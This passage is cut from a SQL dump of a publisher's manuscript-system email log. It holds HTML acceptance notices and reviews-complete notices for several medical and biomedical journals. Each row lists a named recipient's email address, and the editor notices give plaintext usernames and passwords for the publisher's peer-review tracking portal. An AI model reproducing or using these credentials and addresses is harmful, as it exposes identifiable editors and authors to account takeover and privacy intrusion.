Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Obeagu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-08-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','emmanuelobeagu@yahoo.com',12911,'2022-08-19',988),(4120,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12918</b><br />\r\n            <br />\r\n            Article Title: <b>Urinary Tract Infection Prevalence among Patients Who Visited Dr. Lal Path Lab Clinical and Research Laboratory</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>amin</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-08-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sajadashan18@gmail.com',12918,'2022-08-19',988),(4121,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-22-12822</b><br />\r\n            <br />\r\n            Article Title: <b>Determinants of Health-Seeking Behaviour Among Enrollees of a Social Health Insurance Scheme in Anambra State, Southeast, Nigeria</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Uchenna Ezenwaka</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Minic </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-22-12822</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> ivann<br />\r\n            <b>Password:</b> UqeyShwL<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ivanminicc@yahoo.com',12822,'2022-08-19',85),(4122,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-22-12901</b><br />\r\n            <br />\r\n            Article Title: <b>A KAP STUDY ON SCABIES</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Saleem</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mehjabeensaleem134@gmail.com',12901,'2022-08-19',85),(4123,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-22-12822</b><br />\r\n            <br />\r\n            Article Title: <b>Determinants of Health-Seeking Behaviour Among Enrollees of a Social Health Insurance Scheme in Anambra State, Southeast, Nigeria</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ezenwaka</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ezenwakauche@yahoo.com',12822,'2022-08-19',85),(4124,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-22-12725</b><br />\r\n            <br />\r\n            Article Title: <b>Blunt cannula subcision vs Nokor needle subcision: A review.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kharade</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kharade.vaishnavi.99@gmail.com',12725,'2022-08-19',85),(4125,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-22-12570</b><br />\r\n            <br />\r\n            Article Title: <b>EVALUATION OF SPECTRUM OF CLINICAL PRESENTATION AND ROLE OF AMH IN WOMEN WITH PCOS ATTENDING THE GYNAE-OBS OPD OF A TERTIARY CARE HOSPITAL</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mathur</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article.&nbsp;</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dr.ishitamathur@gmail.com',12570,'2022-08-23',85),(4126,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12919</b><br />\r\n            <br />\r\n            Article Title: <b>Vowel Space in Disguise Voice</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Lakshmi Praasanna</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Sharma</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-12919</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prabhat_k<br />\r\n            <b>Password:</b> TZTd1Vwt<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','sharmapk@chop.edu',12919,'2022-08-23',988),(4127,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12919</b><br />\r\n            <br />\r\n            Article Title: <b>Vowel Space in Disguise Voice</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Praasanna</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-08-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lakshmiprasannaspeechpathologist@yahoo.com',12919,'2022-08-23',988),(4128,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12905</b><br />\r\n            <br />\r\n            Article Title: <b>ASSESSMENT OF RENAL FUNCTION IN PATIENTS WITH TYPE II DIABETES IN HOSPITALS OF THE NDE DEPARTMENT</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Marius MBIANDJEU TCHOUMKE</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b> Ifeanyi</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-12905</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> obeagu,_emmanuel<br />\r\n            <b>Password:</b> Pi0o0JgP<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','emmanuelobeagu@yahoo.com',12905,'2022-08-25',988),(4129,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12919</b><br />\r\n            <br />\r\n            Article Title: <b>Vowel Space in Disguise Voice</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Praasanna</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-08-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lakshmiprasannaspeechpathologist@yahoo.com',12919,'2022-08-25',988),(4130,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12905</b><br />\r\n            <br />\r\n            Article Title: <b>ASSESSMENT OF RENAL FUNCTION IN PATIENTS WITH TYPE II DIABETES IN HOSPITALS OF THE NDE DEPARTMENT</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>MBIANDJEU TCHOUMKE</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-08-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mbiandjeumarius@yahoo.fr',12905,'2022-08-25',988),(4131,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipmedt-22-12904</b><br />\r\n            <br />\r\n            Article Title: <b> Strength and Recondition of DNA in Pyrolobus fumarii Archaea</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Dennis W Grogan</b><br />\r\n            <br />\r\n            Journal Title: <b>Molecular Enzymology and Drug Targets</b><br />\r\n            <br />\r\n            Dear Dr. <b>Venanzi</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipmedt-22-12904</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> john<br />\r\n            <b>Password:</b> Z0xPQ7cs<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/molecular-enzymology-and-drug-targets.html\">Molecular Enzymology and Drug Targets</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','Johnvenanzi@gmail.com',12904,'2022-08-26',1033),(4132,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipmedt-22-12904</b><br />\r\n            <br />\r\n            Article Title: <b> Strength and Recondition of DNA in Pyrolobus fumarii Archaea</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/molecular-enzymology-and-drug-targets.html\" target=\"_blank\">Molecular Enzymology and Drug Targets</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Grogan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Molecular Enzymology and Drug Targets</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-08-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/molecular-enzymology-and-drug-targets.html\">Molecular Enzymology and Drug Targets</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','grogandw@email.uc.edu',12904,'2022-08-26',1033),(4133,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13000</b><br />\r\n            <br />\r\n            Article Title: <b>Impacts of SARS-CoV-2 infection on diabetic patients</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Rasool Khan</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b> Ifeanyi</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-13000</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> obeagu,_emmanuel<br />\r\n            <b>Password:</b> Pi0o0JgP<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','emmanuelobeagu@yahoo.com',13000,'2022-09-05',988),(4134,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13000</b><br />\r\n            <br />\r\n            Article Title: <b>Impacts of SARS-CoV-2 infection on diabetic patients</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Khan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-09-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rasoolshinwari94@gmail.com',13000,'2022-09-05',988),(4135,'<p>Ref.:  Ms. No. <b>ipaclr-22-12797</b><br />\r\n<br />\r\n<b>Further perspective on the need for medical Innovation and data overload from a laboratory results viewpoint </b><br />\r\n<br />\r\n<b>Annals of Clinical and Laboratory Research</b><br />\r\n<br />\r\nDear <b>Dr. Heidari</b>,<br />\r\n<br />\r\n<b>Alireza&nbsp;Heidari</b> has agreed to take on this assignment.<br />\r\n<br />\r\nRegards,<br />\r\n<b><a href=\"https://www.itmedicalteam.pl/annals-of-clinical-and-laboratory-research.html\">Annals of Clinical and Laboratory Research</a></b></p>',2,'Editor Agrees To Handle Assignment','scholar.researcher.scientist@gmail.com',12797,'2022-09-08',984),(4136,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13000</b><br />\r\n            <br />\r\n            Article Title: <b>Impacts of SARS-CoV-2 infection on diabetic patients</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Rasool Khan</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b> Ifeanyi</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-13000</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> obeagu,_emmanuel<br />\r\n            <b>Password:</b> Pi0o0JgP<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','emmanuelobeagu@yahoo.com',13000,'2022-09-12',988),(4137,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13000</b><br />\r\n            <br />\r\n            Article Title: <b>Impacts of SARS-CoV-2 infection on diabetic patients</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Khan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-09-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rasoolshinwari94@gmail.com',13000,'2022-09-12',988),(4138,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" 